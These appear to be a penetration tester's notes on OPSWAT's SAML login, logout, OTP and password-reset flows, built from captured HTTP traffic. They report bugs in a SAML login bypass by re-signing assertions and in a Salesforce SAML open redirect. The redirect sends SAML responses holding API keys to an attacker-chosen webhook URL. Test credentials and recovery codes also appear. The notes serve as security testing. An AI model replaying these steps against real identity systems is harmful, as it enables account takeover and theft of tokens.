Location: https://id.opswat.com/logout?app=appMyOPSWAT0001&SAMLRequest=nZFdS8MwFIb%2FSsn92rRUxMNanRRh0Onchop36RZnoPlozilz%2F96082KI7MKLXOTkPHnOm0xR6NZBbfe2p5XseokUfenWIAwnBeu9AStQIRihJQJtYT1b1JDFHASi9KSsYWeIu8w4b8lubcuieVUwtZv49aZumub6%2BdAv76uue2PRi%2FQYbi1YAEIfYi%2FnBkkYCiWeXU14NknzDb8BngPP3llUhbGVETRSn0QOIUnULrYOD4LirdVJO0a8Fc4VYS2OT8v162zDOU9ZtJICB5KV0yECjEofPVivBV3OM1RCio%2BxFaQhRUdW%2FjnCNDm7%2FMf0GPB59Q%2BTG94IKQhZmRrk2qR5mvLsbq%2BFas90J0N52v366fIb&RelayState=id-rSTLbbb7QwuPBDqqX%7C1739523842%7C489d91d9badf1d31421bd08849c3e46e77138ebe
Access-Control-Allow-Origin: https://my.opswat.com

The server side redirect:

GET /logout?app=appMyOPSWAT0001&SAMLRequest=nZFdS8MwFIb%2FSsn92rRUxMNanRRh0Onchop36RZnoPlozilz%2F96082KI7MKLXOTkPHnOm0xR6NZBbfe2p5XseokUfenWIAwnBeu9AStQIRihJQJtYT1b1JDFHASi9KSsYWeIu8w4b8lubcuieVUwtZv49aZumub6%2BdAv76uue2PRi%2FQYbi1YAEIfYi%2FnBkkYCiWeXU14NknzDb8BngPP3llUhbGVETRSn0QOIUnULrYOD4LirdVJO0a8Fc4VYS2OT8v162zDOU9ZtJICB5KV0yECjEofPVivBV3OM1RCio%2BxFaQhRUdW%2FjnCNDm7%2FMf0GPB59Q%2BTG94IKQhZmRrk2qR5mvLsbq%2BFas90J0N52v366fIb&RelayState=id-rSTLbbb7QwuPBDqqX%7C1739523842%7C489d91d9badf1d31421bd08849c3e46e77138ebe HTTP/2
Host: id.opswat.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Origin: null

The decoded version of the SAMLRequest parameter:

<?xml version="1.0" encoding="UTF-8"?>
<samlp:LogoutRequest
  Destination="https://id.opswat.com/logout?app=appMyOPSWAT0001"
  ID="id-rSTLbbb7QwuPBDqqX" IssueInstant="2025-02-14T09:04:02Z"
  Reason="" Version="2.0"
  xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
  <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">https://id.opswat.com</saml:Issuer>
  <saml:NameID Format="urn:oasis:names:tc:SAML:2.0:nameid-format:persistent">1ns0mn141102@gmail.com</saml:NameID>
</samlp:LogoutRequest>

As we can see, this SAML Request does not have the ACS URL.

Question: Can I exploit XXE with this SAMLRequest?

Answer: No.

The URL-decoded version of the RelayState parameter: id-rSTLbbb7QwuPBDqqX|1739523842|489d91d9badf1d31421bd08849c3e46e77138ebe.

After that, there is one more request sent to the /logout endpoint but with the returnTo parameter:

GET /logout?returnTo=https%3A%2F%2Fid.opswat.com%2Flogin%3Fapp%3DappMyOPSWAT0001%26SAMLRequest%3DnZFdS8MwFIb%252FSsn92rRUxMNanRRh0Onchop36RZnoPlozilz%252F96082KI7MKLXOTkPHnOm0xR6NZBbfe2p5XseokUfenWIAwnBeu9AStQIRihJQJtYT1b1JDFHASi9KSsYWeIu8w4b8lubcuieVUwtZv49aZumub6%252BdAv76uue2PRi%252FQYbi1YAEIfYi%252FnBkkYCiWeXU14NknzDb8BngPP3llUhbGVETRSn0QOIUnULrYOD4LirdVJO0a8Fc4VYS2OT8v162zDOU9ZtJICB5KV0yECjEofPVivBV3OM1RCio%252BxFaQhRUdW%252FjnCNDm7%252FMf0GPB59Q%252BTG94IKQhZmRrk2qR5mvLsbq%252BFas90J0N52v366fIb%26RelayState%3Did-rSTLbbb7QwuPBDqqX%257C1739523842%257C489d91d9badf1d31421bd08849c3e46e77138ebe HTTP/2
Host: id-api.opswat.com
Cookie: __opswat-session-login=undefined; __opswat-refresh-login=undefined; __opswat-payload-login=undefined; _ga=GA1.1.401274120.1739505121; __opswat-session-login=REDACTED; __opswat-refresh-login=REDACTED; __opswat-payload-login=REDACTED; __opswat-login=undefined; _ga_54P2EERRN7=GS1.1.1739505121.1.1.1739524620.0.0.0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Referer: https://id.opswat.com/

As we can see, the cookies of the id-api.opswat.com domain are sent.

The decoded SAMLRequest is the same with the previous request.

The response of this request also is a server side redirect, which will redirect to the URL specified in the returnTo parameter:

HTTP/2 301 Moved Permanently
Content-Type: application/json
Content-Length: 0
Location: https://id.opswat.com/login?app=appMyOPSWAT0001&SAMLRequest=nZFdS8MwFIb%2FSsn92rRUxMNanRRh0Onchop36RZnoPlozilz%2F96082KI7MKLXOTkPHnOm0xR6NZBbfe2p5XseokUfenWIAwnBeu9AStQIRihJQJtYT1b1JDFHASi9KSsYWeIu8w4b8lubcuieVUwtZv49aZumub6%2BdAv76uue2PRi%2FQYbi1YAEIfYi%2FnBkkYCiWeXU14NknzDb8BngPP3llUhbGVETRSn0QOIUnULrYOD4LirdVJO0a8Fc4VYS2OT8v162zDOU9ZtJICB5KV0yECjEofPVivBV3OM1RCio%2BxFaQhRUdW%2FjnCNDm7%2FMf0GPB59Q%2BTG94IKQhZmRrk2qR5mvLsbq%2BFas90J0N52v366fIb&RelayState=id-rSTLbbb7QwuPBDqqX%7C1739523842%7C489d91d9badf1d31421bd08849c3e46e77138ebe

The redirected URL is the login page.

Question: Can I exploit XXE with this SAMLRequest?

Answer: No, even though the redirected URL is affected.

After that, there is a GET request sent to the /current-user endpoint with the above SAMLRequest.

Question: Can I exploit XSS via the logout functionality? Reference: SAML Attacks - HackTricks and How I Discovered XSS that Affects around 20 Uber Subdomains.

Answer: No. Because the application does not have the logout page with redirect link.

Re-Login Flow ℹ️, ❌

As we know, after logging out, we will be redirected to the login page and the SAMLRequest (LogoutRequest) does not have the ACS URL. After type in the email, there also is a request sent to the /IDP/lookup endpoint with the current SAMLRequest.

Then, when the “Login” button is clicked, there is a request sent to the /login endpoint:

POST /login HTTP/2
Host: id-api.opswat.com
Cookie: __opswat-session-login=undefined; __opswat-refresh-login=undefined; __opswat-payload-login=undefined; _ga=GA1.1.401274120.1739505121; _ga_54P2EERRN7=GS1.1.1739505121.1.1.1739524620.0.0.0
Content-Length: 562
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Origin: https://id.opswat.com
Referer: https://id.opswat.com/
 
{"SAMLRequest":"nZFdS8MwFIb/Ssn92rRUxMNanRRh0Onchop36RZnoPlozilz/96082KI7MKLXOTkPHnOm0xR6NZBbfe2p5XseokUfenWIAwnBeu9AStQIRihJQJtYT1b1JDFHASi9KSsYWeIu8w4b8lubcuieVUwtZv49aZumub6+dAv76uue2PRi/QYbi1YAEIfYi/nBkkYCiWeXU14NknzDb8BngPP3llUhbGVETRSn0QOIUnULrYOD4LirdVJO0a8Fc4VYS2OT8v162zDOU9ZtJICB5KV0yECjEofPVivBV3OM1RCio+xFaQhRUdW/jnCNDm7/Mf0GPB59Q+TG94IKQhZmRrk2qR5mvLsbq+Fas90J0N52v366fIb","appId":"appMyOPSWAT0001","email":"1ns0mn141102@gmail.com","password":"Admin@123123123","RelayState":"id-rSTLbbb7QwuPBDqqX|1739523842|489d91d9badf1d31421bd08849c3e46e77138ebe"}

The SAMLRequest remains (still is the LogoutRequest).

The response of the above request is similar with the normal Login Flow:

HTTP/2 200 OK
Content-Type: application/json
Set-Cookie: __opswat-session-login=[REDACTED]; Max-Age=14400; Path=/; HttpOnly; Secure; SameSite=Lax
Set-Cookie: __opswat-refresh-login=[REDACTED]; Max-Age=14400; Path=/; HttpOnly; Secure; SameSite=Lax
Set-Cookie: __opswat-payload-login=[REDACTED]; Max-Age=14400; Path=/; HttpOnly; Secure; SameSite=Lax
Set-Cookie: __opswat-login=true; Max-Age=14400; Domain=opswat.com; Path=/; Secure; SameSite=Lax
Content-Security-Policy: frame-ancestors 'self' *.opswat.com;
X-Frame-Options: SAMEORIGIN
Access-Control-Allow-Origin: https://id.opswat.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: userpid, Authorization, Content-Type, Accept, details, orgid
Access-Control-Expose-Headers: x-amzn-trace-id
 
{"user":{"consent":{"MA":true,"MDC":true,"SKL":true,"Allbound":true,"OCM":true,"MyOPSWAT":true,"OPSWATStore":true,"AS":true,"MDGateway":true,"Impartner":true,"Fusion":true,"MDSS":true,"SB":true},"email":"1ns0mn141102@gmail.com","given_name":"insomnia","isMfaForced":false,"user_id":"ee39dde0-1812-4200-b14d-dc3bb8cf4ea1"},"loginResponse":{"id":"_4c055c21-42e7-4678-acb7-357c470952b5","context":"[BASE64 ENCODED OF THE SAML RESPONSE]","acsMethod":"POST","relayState":"id-rSTLbbb7QwuPBDqqX|1739523842|489d91d9badf1d31421bd08849c3e46e77138ebe"}}

The only difference between this response body and the response body in the normal login flow is the missing entityEndpoint field.

After that, a request is sent to the /saml2/login endpoint and its response is similar with the normal login flow (which is a server side redirect):

HTTP/2 302 Found
Date: Fri, 14 Feb 2025 10:07:42 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Location: https://id.opswat.com/login?app=appMyOPSWAT0001&SAMLRequest=fZJbT4NAEIX%2FCtl3YME2mk3BUOulSZtiQRt9W%2BnabgK7687Qi79eoBprYnjYh5k5Z%2FLNyY6AV6VhSY1btRQftQB0DlWpgLWDiNRWMc1BAlO8EsCwYFkyn7HQo4wDCItSK3JmMf0eYzXqQpfEmU4iItfuEA8v6v7iVn5e7R73q3xMnGdhodkakcbQ6ABqMVWAXGHTouHQpaEbDPKAMnrJBuErcSYNtlQcO9cW0QDzfbn2tIE9R6%2FQlV%2FqjVTX3JioefPjIs1WSU4pDYhzp20hugQigrYWxEm%2FKcdSraXa9J%2F0dhIBe8jz1E0XWU6c5CeaG62groTNhN3JQjwtZ7%2BA3Mhd4FXHc8w2wtDnBfgkHrUF6%2B63LWTFsZ%2Bk7TSRvndSJhRKPJL43zxG%2Ftny%2BFT9%2FQbxFw%3D%3D&RelayState=%2F&SigAlg=http%3A%2F%2Fwww.w3.org%2F2001%2F04%2Fxmldsig-more%23rsa-sha256&Signature=ruomORXZcTG%2FPp4evZSMYJVGu0w%2BeYkd%2BT3aObSI1Rlw%2Fleq9n%2FmGqaQnPan7vB03Gpy9cdrWp%2FQVCtCZETN5k56YqOEU4oalK7bvbTqPc%2B3uG6NGeY8qZMjczYGkWKWOkbunRw6uaE13br8Yx%2BptpHQ1lC%2FcyfVqXhppP2U62xpDbdQ1R5WvlgDG7e3RqJZZn43X22WSpB13VbTQKlpq76kZ5PYsFbOeEHvLgqbMe61eGufEnff3zysCcYxG%2B2zW7cnIP%2BpNK21Z3S4vB6VnNIc%2FpIGu1YnzSHYXxBQxLeGtHtEFnEwBxeIfi5Fpyd2vUEk2LgMgBPQgPtuFvPqnw%3D%3D

However, at this time, the SAMLRequest is changed into this:

<samlp:AuthnRequest xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="id-5txYnG3Eiz8vQwWTB" Version="2.0" IssueInstant="2025-02-14T10:07:42Z" Destination="https://id.opswat.com/login?app=appMyOPSWAT0001" ForceAuthn="true" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" AssertionConsumerServiceURL="https://apiv1.my.opswat.com/saml2/acs/">
    <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
        https://id.opswat.com
    </saml:Issuer>
</samlp:AuthnRequest>

Then, two GET requests are sent to the /login endpoint with the new SAMLRequest, which is similar to the normal login flow.

The subsequent request is sent to the /current-user endpoint with the new SAMLRequest:

GET /current-user?SAMLRequest=fZJbT4NAEIX%2FCtl3YME2mk3BUOulSZtiQRt9W%2BnabgK7687Qi79eoBprYnjYh5k5Z%2FLNyY6AV6VhSY1btRQftQB0DlWpgLWDiNRWMc1BAlO8EsCwYFkyn7HQo4wDCItSK3JmMf0eYzXqQpfEmU4iItfuEA8v6v7iVn5e7R73q3xMnGdhodkakcbQ6ABqMVWAXGHTouHQpaEbDPKAMnrJBuErcSYNtlQcO9cW0QDzfbn2tIE9R6%2FQlV%2FqjVTX3JioefPjIs1WSU4pDYhzp20hugQigrYWxEm%2FKcdSraXa9J%2F0dhIBe8jz1E0XWU6c5CeaG62groTNhN3JQjwtZ7%2BA3Mhd4FXHc8w2wtDnBfgkHrUF6%2B63LWTFsZ%2Bk7TSRvndSJhRKPJL43zxG%2Ftny%2BFT9%2FQbxFw%3D%3D&appId=appMyOPSWAT0001&RelayState=%2F HTTP/2
Host: id-api.opswat.com

This time, the response body of the request sent to the /current-user endpoint is different from the response body of the request sent to the /current-user endpoint in the normal login flow.

Specifically, the response body is similar with the request sent to the /login endpoint. However, there are some differences in the SAMLResponse, which mainly caused by the following change in the Subject attribute.

Important

To have the SAMLResponse in the response body, the request sent to the /current-user endpoint must have the following cookies:

  • __opswat-session-login
  • __opswat-refresh-login
  • __opswat-payload-login

Those cookies are encrypted.

With those cookies, we can even login into the my.opswat.com domain from the my-beta.opswat.com without typing the credentials. The reason for this is because both of the domains use id-api.opswat.com for retrieving the same SAMLResponse from the /current-user endpoint.

Question: Can I conduct CSRF attack by using the above cookies?

Answer: No.

Because two things:

  1. Those cookies are only used by the GET /current-user request (they are included in some other requests but not be used) and after being used, they are set to undefined.
  2. If we think about CORS epxloits, we can not read the returned SAMLResponse in the response of the request due to the fixed ACAO header: Access-Control-Allow-Origin: https://id.opswat.com.

Finally, there are 2 requests sent to the /saml2/acs and the /auth-successfully endpoints, which is the same with the normal login flow.

The differences between requests sent in normal login flow and re-login flow:

Summary

The requests sent in the login-related flows are similar and cyclic, which is in the following order:

  1. POST /idp/lookup
  2. POST /login
  3. GET /saml2/login
  4. GET /login
  5. GET /current-user ← Logout redirects to here and the next request will be the number 1.

After all of the above requests, there will be 2 requests sent to POST /saml2/acs and GET /auth-successfully.

SAML Response Forging 🪲

If I remove the signature in the SAML Response sent to the ACS URL, the response will be different:

HTTP/2 302 Found
Date: Thu, 13 Feb 2025 03:04:49 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Location: https://my.opswat.com
Set-Cookie: AWSALB=HVe4dL21qMHT3EbTvfrO9fK2uzTgTEmW6jwBkSg6Jlt3kD5vTpgh3v6n6JNHW4vJuYTKdeFlvydd8T+JhAcbf+lMXjrdlX9dPeEym899BynKqW07iUBEVOw4uEEj; Expires=Thu, 20 Feb 2025 03:04:48 GMT; Path=/
Set-Cookie: AWSALBCORS=HVe4dL21qMHT3EbTvfrO9fK2uzTgTEmW6jwBkSg6Jlt3kD5vTpgh3v6n6JNHW4vJuYTKdeFlvydd8T+JhAcbf+lMXjrdlX9dPeEym899BynKqW07iUBEVOw4uEEj; Expires=Thu, 20 Feb 2025 03:04:48 GMT; Path=/; SameSite=None; Secure
Vary: Cookie, Origin
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin
Set-Cookie: saml_session=kbs7bo87gjy3osdpve6z22ghwm0jhkgr; HttpOnly; Path=/; SameSite=None; Secure

However, when I resign the assertions and the message, the response has tokens:

Bug: SAML Login Bypass

With this ability, I can impersonate another user by changing the email addresses in the SAML response. Additionally, when log in to another user, I also join his/her organizations.

SAML Request Open Redirect ❌

I can not reproduce the open redirect bug as mentioned here: MyOpswat - SAML Authentication Penetration Testing - 2024.04 - Security Operations - Confluence with the following scenarios (which applies for the /login endpoint):

  • Change ACS:
    • To a different domain such as https://www.google.com: can not log in.
    • To a different subdomain, such as https://apiv2.my.opswat.com instead of https://apiv1.my.opswat.com: can not log in.
  • Remove the signature:
    • Without changing the ACS: still can log in.
    • With changed ACS: can not log in.

As we can see, the signature has no impact on the validation of the SAML Request (especially the ACS).

Open Redirect via Salesforce SAML Request 🪲

To login into Salesforce with OPSWAT identity, open the “Other External Resources” modal in the /support page and click “Request Support (original page)”:

The Salesforce login page, accessed via the https://opswat2--full.sandbox.my.site.com/test/login?sc=0LE4X000000k9dd link:

Choose “Log in with OPSWAT cognito” and observe the following request:

GET /test/saml/authn-request.jsp?saml_request_id=_2CAAAAZW4-4ghMDAwMDAwMDAwMDAwMDAwAAAA_gq39Iwy-oC-vU-q9M2_FysXwDlDpKsFctb_23m8mOdstV8WmkZWYgd1Ygyv3FmcVmmZ6uxPIkJeXiJnRFzMr8049dM3rtYREq-jjxn8ldgBCsFy_fCa4Gaz4eWPK0BUBb3cm8Q3G_f9H-p9QoYLcy0Z9vtQ505uDa-20q-1A8T0KZf75-RGCn_QWynyENQoVnTAZWA_BHEj0a8siA1uRK6at5T2RrB2owNRcmcqyyZ_udx3HviBqo4pAgpmIja6tg&saml_acs=https%3A%2F%2Fopswat2--full.sandbox.my.site.com%2Ftest%2Flogin%3Fsc%3D0LE4X000000k9dd&saml_binding_type=HttpRedirect&Issuer=https%3A%2F%2Fid.opswat.com&samlSsoConfig=0LE4X000000k9dd&RelayState=%2Ftest%2F HTTP/2
Host: opswat2--full.sandbox.my.site.com

As we can see, there is a parameter named saml_acs, which is the ACS URL. Try to change this value into https://www.google.com and intercept the response:

HTTP/2 302 Found
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Location: https://id.opswat.com/login?app=appSF0001&SAMLRequest=fZJdc6owEIb%2FCpN7NHzoAabogJZqra0iauWGSSGlWJIACSL99aUfzvScOdPM7EVm39032X2uxmeSSydc8YxRGyg9CCRMY5ZkNLXBNvBkA4xHVxyRXC0spxYv1MdljbmQukLKra%2BMDeqKWgzxjFsUEcwtEVsbZ3lnqT1oFRUTLGY5kBzOcSU6qwmjvCa42uDqlMV469%2FZ4EWIglv9ftM0vZSxNMe9mBEgTTu3jCLx%2BcKLKEt6rOANEh%2Bafs7SjI5RUdhdbDwIoQKk%2BdQGkTpxuhPudVlPX5ZTp%2Fk3PtJRWmrmvGllNpFPW7k0l2rktfyxmebTYsG9WDxFqkYM8pBwsTP25DXcH9JEOaTtSfNIvCMkHNbn1fz1Fj9mt9T33paVAXUzWWqVOPjXpXw8nqmRJ6k74V4bPU%2BQfoPedLxfLaC7dZ%2B0mBhr7SZ6NmdyYa7Z4S5uYWiexHoAB%2FUUySosZcUxArgIn%2F8MZP9mQqP1vqXt9f2a7WjQfdGJ3Nn1ESKDZ45S%2B4shEoNA9StXZc29H5O4bNswqpOzNjtlbsn0wkkLMj%2BioUi7aXFe4znlAlFhAxWqAxmqsqoEimYNTEsf9oaKFgJp9b1MN6NfkPy2%2BacvEbdmQbCSVw%2BbAEi7C2ydAHyjZX26Vz%2BZ%2Br0xuoAERv8l4qr%2Fs%2B%2Fo%2B%2Fo3waN3&RelayState=%2Ftest%2F&SigAlg=http%3A%2F%2Fwww.w3.org%2F2001%2F04%2Fxmldsig-more%23rsa-sha256&Signature=HCLGo%2BUdb9uqpv0jX775EbO3ZNspUdo8iTiNXMuIjAVEPH8HsJfIN%2Bg21pTMvP58kJ%2BTlM9TYf%2BafAwC6LUGkK4d8Jcl%2Bz%2FyQUp0UKjGGu2cGQETpIN1Q0slkNkM6AEbjsOD3IU9d9mB%2BH%2Fr8O55bSMcPpx%2Bl2BhCuemeeL8z31h3N5lgLhIt2guzNLw9NFHd%2BIj61RfBKj6q6DsGQ4KS%2BXhyQm7OMY%2FKIGR5UhJDs7y%2FdLcQnfWUB2%2FoShs2Jc8CTM9B90fTtHsxM22Hxj9OulzuAyLkUVsSr6GB%2FvtU%2BaRltaOag8J3yJ3zKb5vb49aEHqIMgDkE7%2BUhDVFQQeUw%3D%3D

The response is a server side redirect to the https://id.opswat.com/login endpoint with parameters same as when we log in to My OPSWAT:

  • app is appSF0001
  • SAMLRequest is decoded into this:
<?xml version="1.0" encoding="UTF-8"?>
<saml2p:AuthnRequest xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" AssertionConsumerServiceURL="https://www.google.com" Destination="https://id.opswat.com/login?app=appSF0001" ID="_2CAAAAZW4-4ghMDAwMDAwMDAwMDAwMDAwAAAA_gq39Iwy-oC-vU-q9M2_FysXwDlDpKsFctb_23m8mOdstV8WmkZWYgd1Ygyv3FmcVmmZ6uxPIkJeXiJnRFzMr8049dM3rtYREq-jjxn8ldgBCsFy_fCa4Gaz4eWPK0BUBb3cm8Q3G_f9H-p9QoYLcy0Z9vtQ505uDa-20q-1A8T0KZf75-RGCn_QWynyENQoVnTAZWA_BHEj0a8siA1uRK6at5T2RrB2owNRcmcqyyZ_udx3HviBqo4pAgpmIja6tg" IssueInstant="2025-02-21T13:59:46.613Z" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" Version="2.0">
    <saml2:Issuer xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
        https://id.opswat.com
    </saml2:Issuer>
</saml2p:AuthnRequest>

The ACS URL is changed into https://www.google.com.

As I already logged into the OPSWAT account in the current browser so the application does not require for typing the credentials. After that, the application is redirected into https://www.google.com like this:

This indicates that we can exploit open redirect bug.

Try to open a new browser that does not have any cookies or local storage items. Access the login page of Salesforce again via the https://opswat2--full.sandbox.my.site.com/test/login?sc=0LE4X000000k9dd link. This time, we intercept the login request of Salesforce and change the ACS URL into https://webhook.site/8dd66951-0e00-4a70-bfce-8cb2b4ab723a (a webhook used for receiving incoming requests).

Intercept the POST /login request sent to id-api.opswat.com after typing the credentials:

POST /login HTTP/2
Host: id-api.opswat.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Content-Type: application/json
Content-Length: 840
Origin: https://id.opswat.com
Referer: https://id.opswat.com/
 
{"SAMLRequest":"fZJbc6IwFMe/CpN3NEQQZYodQF2pqAhoW186ASKgkCAJ9vLpl+1lpruz08ych5zL/5zk/G5uX6pSupKGF4yaQOlBIBGasLSgmQl20VwegdvJDcdViWrDakVOA3JpCRdSV0i58RExQdtQg2FecIPiinBDJEZorTwD9aBRN0ywhJVAsjgnjehaOYzytiJNSJprkZBd4JkgF6LmRr//TOKcsXOPF4L0R2k6HI41RYYEQlnFOpTjY0LkURKjWMWxjgYYSNNuoIJi8f6IL50i7bGaP2PRS1jVL1lW0Ftc12Zn4RxCqADJnZrgCTlWdw73mq2XzWpqPf9rf8JPPFIzbXNIvNNOCX7p26NvnXcisuA2ux7WmLxZc+WU772zng/FbLx0gjQaMjSolPtgJmRE2gjzdFG6Ybuf3p3mM9b4y42zrx+TWRzk84AwfC1KgkYLJdw323ZRu4/r1UUv7WyRI+5oMt3lDwES1d3sOE9a53K+BMw9LPMXm4/V2XSk5PQ1zy6vKkvchU2earoZr93Fzn/ba9Vopb7YR2v4mNrBQV158mDLBw1eM//hlyfDoYOhf9yuBFm68BqFxd0588Z54Ci8PnE9iK3utzhviUu5wFSYAEGkyRDJSIkU1YBjQ9N7ne8AJP9z33ZBPzj6CY74I4kbiyjyZX8TRkDaf/HYJYBP+oz37s137H4Wxl+sgcl/ibjpf9edfF7/hnzyGw==","appId":"appSF0001","email":"quan.m.le@opswat.com","password":"Admin@123123123","RelayState":"/test/"}

Its response has the following field:

"entityEndpoint":"https://webhook.site/8dd66951-0e00-4a70-bfce-8cb2b4ab723a"

Which indicates that the login flow will be redirected to the webhook URL as we want.

The webhook server receives a request that has the SAML Response value:

The decoded SAML Response has sensitive data such as API keys:

Question: Can I takeover the account by stealing the SAMLResponse and replay the login request?

Login with OTP ℹ️, ❌

When MFA is enabled for a user, there are two login requests for that user. The first one is the same as the one in the Login Flow:

POST /login HTTP/2
Host: id-api.opswat.com
Cookie: _ga_CK6V3Y67TW=GS1.1.1737363856.1.0.1737364584.0.0.0; _ga=GA1.1.1596200424.1737363856; _ga_54P2EERRN7=GS1.1.1739873653.1.1.1739873730.0.0.0; __opswat-session-login=undefined; __opswat-refresh-login=undefined; __opswat-payload-login=undefined
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Content-Type: application/json
Content-Length: 556
Origin: https://id.opswat.com
Referer: https://id.opswat.com/
 
{"SAMLRequest":"nZHNasMwEIRfxehuWzH9gSV2azAFQ9KW2KSlN+EotcCWFO0aN336yk4PoS059KCDdveb2ZGWKPrOwsq8m4E28jBIpOCj7zTC1EnZ4DQYgQpBi14iUANVvl5BEnEQiNKRMpqdIfYyY50h05iOBWWRMrULP8fK7luR19s6b9pXN7JgKx161ZR5wM8hDrLUSEKTL/HkOuRJmNzU/BYWHJKrNxYUfm2lBc1US2QR4ljtImNxFBQ1po+7OeKdsDb1Z318eq5e8ppzvmDBRgqcSJYtpwgwW7rgwbhe0OU8U8Wn2M+jIDUpOrLszxWW8Zn4t9Ojx8viH052eiMkb8iywyB01EedvP9ldtLPTrcf/5x9AQ==","appId":"appMyOPSWAT0001","email":"quan.m.le@opswat.com","password":"Admin@123123123","RelayState":"id-zwSpfhaATVTAchXrw|1740553824|734623efdb3172b664285ee69fe21203deacd3cb"}

However, its response body is different:

{
  "user" : {
    "challengeName" : "TOTP"
  }
}

After receiving this response, the UI requires the OTP code. If the OTP code is provided, there is another login request whose request body is similar to the first one

{
  "SAMLRequest" : "nZHNasMwEIRfxehuWzH9gSV2azAFQ9KW2KSlN+EotcCWFO0aN336yk4PoS059KCDdveb2ZGWKPrOwsq8m4E28jBIpOCj7zTC1EnZ4DQYgQpBi14iUANVvl5BEnEQiNKRMpqdIfYyY50h05iOBWWRMrULP8fK7luR19s6b9pXN7JgKx161ZR5wM8hDrLUSEKTL/HkOuRJmNzU/BYWHJKrNxYUfm2lBc1US2QR4ljtImNxFBQ1po+7OeKdsDb1Z318eq5e8ppzvmDBRgqcSJYtpwgwW7rgwbhe0OU8U8Wn2M+jIDUpOrLszxWW8Zn4t9Ojx8viH052eiMkb8iywyB01EedvP9ldtLPTrcf/5x9AQ==",
  "appId" : "appMyOPSWAT0001",
  "email" : "quan.m.le@opswat.com",
  "password" : "Admin@123123123",
  "totp" : "459706",
  "RelayState" : "id-zwSpfhaATVTAchXrw|1740553824|734623efdb3172b664285ee69fe21203deacd3cb"
}

As we can see, there is a new field named totp.

At this time, I have tested some scenarios:

  1. The OTP is incorrect. Response:

    {
      "error" : {
        "statusCode" : 400,
        "code" : 40052,
        "name" : "codeMismatchException"
      }
    }
  2. Omit the password. Response:

    {
      "error" : {
        "statusCode" : 500,
        "code" : 50000,
        "name" : "internalError"
      }
    }
  3. Invalid password. Response:

    {
      "error" : {
        "statusCode" : 401,
        "code" : 40100,
        "name" : "notAuthorizedException",
        "remains" : 2
      }
    }
  4. Correct password but expired OTP:

    {
      "error" : {
        "statusCode" : 400,
        "code" : 40051,
        "name" : "expiredCodeException"
      }
    }
  5. This request also has rate-limiting:

    {
      "error" : {
        "statusCode" : 400,
        "code" : 40001,
        "name" : "captchaError"
      }
    }

I have tried to forge the response for bypassing the OTP.

Question: Can I change the response body of the second login request for bypassing OTP?

Answer: No.

At the beginning, I replace the whole response body of the second login request for bypassing the OTP. This works because when the POST request sent to the /saml2/acs endpoint has no server-side redirect (meaning that I fail in the authentication), the login flow restarts. In the login flow, as mentioned, there is a request sent to /current-user endpoint with some cookies. The cookies I have, which are set by the fake response of the second login request, are still valid at the time the exploitation is conducted. Therefore, the request sent to the /current-user has the valid SAML Response in the response body. Then, the request sent to the /saml2/acs endpoint is valid and we can login.

However, if:

  1. I only replace the status code to 200 OK: the client-side does nothing.
  2. I replace the status code and the response body: the request sent to /saml2/acs does not have token in its response as the /current-user request has no cookies.
  3. I replace the status code, the cookies with OLD cookies and the response body: the request sent to the /saml2/acs does not have token in its response as the /current-user request has invalid cookies.

Login with Recovery Codes ℹ️

In the case we want to login with recovery codes instead of OTP, there is an option for this:

The request used for this is also the login request but with a new field named recovery:

{
  "SAMLRequest" : "fZJdT8IwFIb/ytL7fdAgMQ2bmeIHBsLChkbvyqjQZP2w5wzcv3cbEjExXPTinJ735OmTjoGryrK0xp1eis9aAHpfqtLAuouY1E4zw0EC01wJYFiyPJ3PGA0ixgGEQ2k0OYvYyxnrDJrSVMSbTmIiN/56+LaSz6vFY3O/PBx20wnxXoSDdmtM2kA7B1CLqQbkGttWRK/8iPp0VETXjFI2HL0Tb9JiS82xT+0QLbAwlJvAWDhwDEqjwspspb7h1sbtmTeLLH9NiyiKBsR7MK4UvYGYoKsF8bIfylupN1JvLz9pfRwC9lQUmZ8t8oJ46UnNndFQK+Fy4fayFKvl7BeQW7kfBKrx1wL5OWvnkYa8hJAk465gvQTXkSqOl3G6Tuv1ox9lQqPEhiT/ShmHZ8uTY/X3LyTf",
  "appId" : "appMyOPSWAT0001",
  "email" : "quan.m.le@opswat.com",
  "password" : "Admin@123123123",
  "recovery" : "FPX5V-P0GHR",
  "RelayState" : "/"
}

The exploitation scenarios have the same results with Login with OTP.

Reset Password ℹ️, ❌

The request:

POST /reset HTTP/2
Host: id-api.opswat.com
Cookie: _ga=GA1.1.2058617255.1737689180; _clck=tpsiu8%7C2%7Cft5%7C0%7C1850; _ga_7V2H8MYDP4=GS1.1.1738653657.2.1.1738653658.0.0.0; __opswat-session-login=undefined; __opswat-refresh-login=undefined; __opswat-payload-login=undefined; _ga_54P2EERRN7=GS1.1.1739417684.1.1.1739440282.0.0.0
Content-Length: 556
Content-Type: application/json
